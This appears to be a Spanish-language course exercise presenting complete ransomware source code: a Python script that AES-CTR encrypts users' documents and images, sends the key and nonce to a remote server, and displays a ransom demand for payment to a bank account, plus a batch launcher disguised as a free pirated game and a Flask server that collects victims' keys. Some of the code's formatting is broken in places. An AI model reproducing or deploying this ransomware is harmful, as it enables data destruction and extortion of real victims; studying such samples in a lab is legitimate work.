

Código de ransomware.py, ubicado en la carpeta “Víctima”

```
import os
import random
import hashlib
import socket
import argparse

from Crypto.Util import Counter
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

import requests

import tkinter as tk
from tkinter import messagebox

username = os.getlogin()

destination = r'C:\Users\{}
\Documents\Uni\EseEseErre\Reto_9\Victima'.format(username) #A la hora de probar el
código, cambia esta dirección al directorio deseado.
files = os.listdir(destination)
files = [x for x in files if not x.startswith('.')]

extensions = [".txt", ".jpg", ".png", ".pdf"]

#Generación de clave Hash

def hash_key():
    hashnumber = destination + socket.gethostname() +
str(random.randint(0,1000000000000000000000000000000000000000))
    hashnumber = hashnumber.encode('utf-8')
    #print(hashnumber)
    hashnumber = hashlib.sha512(hashnumber)
    hashnumber = hashnumber.hexdigest()
    #print(hashnumber)

new_key = []

for k in hashnumber:
    if len(new_key) == 32:
        hashnumber = ''.join(new_key)
        break
    else:
        new_key.append(k)
    #print(hashnumber)

return hashnumber

#Este método cifra un archivo por bloques utilizando el método AES.
```

```
def encrypt_and_decrypt(text, crypto, block_size = 16):
    with open(text, 'r+b') as encrypted_file:
        unencrypted_content = encrypted_file.read(block_size)
        while unencrypted_content:
            encrypted_content = crypto(unencrypted_content)
            if len(unencrypted_content) != len(encrypted_content):
                raise ValueError('')

            encrypted_file.seek(- len(unencrypted_content), 1)
            encrypted_file.write(encrypted_content)
            unencrypted_content = encrypted_file.read(block_size)
```

#Este método envía una clave a una dirección IP utilizando el framework de Flask.

```
def enviar_clave_al_servidor(key, nonce):
    url = 'http://192.168.1.45:5000/' # Modifica esta dirección en función de a qué
    equipo quieres enviar las claves.
```

```
    payload = {
        'key': key,
        'nonce': nonce.hex(),
        'victima': socket.gethostname()
    }
```

```
    try:
        requests.post(url, json=payload)
        #print("[+] Clave enviada con éxito al servidor remoto.")
    except Exception as e:
        print("[-] Error al enviar la clave:", e)
```

#Función Main

```
def main():
    parser = argparse.ArgumentParser(description="Simulador educativo ransomware AES-
    CTR con servidor Flask integrado")
    parser.add_argument('--encrypt', action='store_true', help="Cifrar archivos")
    parser.add_argument('--decrypt', action='store_true', help="Descifrar archivos")

    args = parser.parse_args()

    root = tk.Tk()
    root.withdraw()
```

```
    if args.encrypt:
        key = hash_key()
        nonce = get_random_bytes(8)
        ctr = Counter.new(64, prefix=nonce, initial_value=0)
        cipher = AES.new(bytes.fromhex(key)[:32], AES.MODE_CTR, counter=ctr)
```

```
enviar_clave_al_servidor(key,nonce)
```

```
for file in files:
```

```
full_path = os.path.join(destination, file)
```

```
if any(file.endswith(ext) for ext in extensions):
```

```
encrypt_and_decrypt(full_path, cipher.encrypt)
```

```
msj_fear = "Si está viendo esto, todos sus datos han sido cifrados.\nSi quiere  
recuperarlos, deposite 10000€ a la siguiente cuenta bancaria: ES00 XXXX XXXX XXXX  
XXXX XXXX.\nIntroduzca información de contacto como mensaje en la transferencia, y  
en unos días le enviaremos un SMS con la clave para recuperar sus datos.\nCuando  
tenga la información, ejecute 'decryption.bat'."
```

```
messagebox.showerror("VIRUS DETECTADO!!!", msj_fear)
```

```
instrucciones = open("instrucciones.txt", "a")
```

```
instrucciones.write(msj_fear)
```

```
elif args.decrypt:
```

```
print("Cuando tengas las credenciales, introduce primero la clave y luego el  
nonce, ¡Ni se te ocurra equivocarte!")
```

```
key_d = input("Key: ")
```

```
nonce_d = input("Nonce: ")
```

```
ctr_d = Counter.new(64, prefix=bytes.fromhex(nonce_d), initial_value=0)
```

```
decipher = AES.new(bytes.fromhex(key_d)[:32], AES.MODE_CTR, counter=ctr_d)
```

```
for file in files:
```

```
full_path = os.path.join(destination, file)
```

```
if any(file.endswith(ext) for ext in extensions):
```

```
encrypt and decrypt(full_path, decipher.decrypt)
```

```
if name == 'main':
```

```
main()
```

////////////////////////////////////

juego_pirata_gratis.bat (ubicado en la carpeta "Victima") instancia la función de encriptamiento del programa ransomware.py:

```
@echo off
```

```
python ransomware.py --encrypt
```

```
decryption.bat (ubicado en la carpeta "Victima") instancia la función de
desencriptamiento del programa ransomware.py:
```

```
python ransomware.py --decrypt
```

Código de server.py, ubicado en la carpeta “Atacante”

```
from flask import Flask, request
import datetime

app = Flask(__name__)

@app.route('/', methods=['POST'])
def recibir_clave():
    data = request.json
    if not data:
        return "No JSON received", 400

    # Guardar la info recibida en un archivo
    with open("claves_recibidas.txt", "a") as f:
        f.write(f"{datetime.datetime.now()} | Victima: {data.get('victima')} | Key: {data.get('key')} | Nonce: {data.get('nonce')}\n")

    print(f"Clave recibida de {data.get('victima')}")
    return "Clave recibida", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
```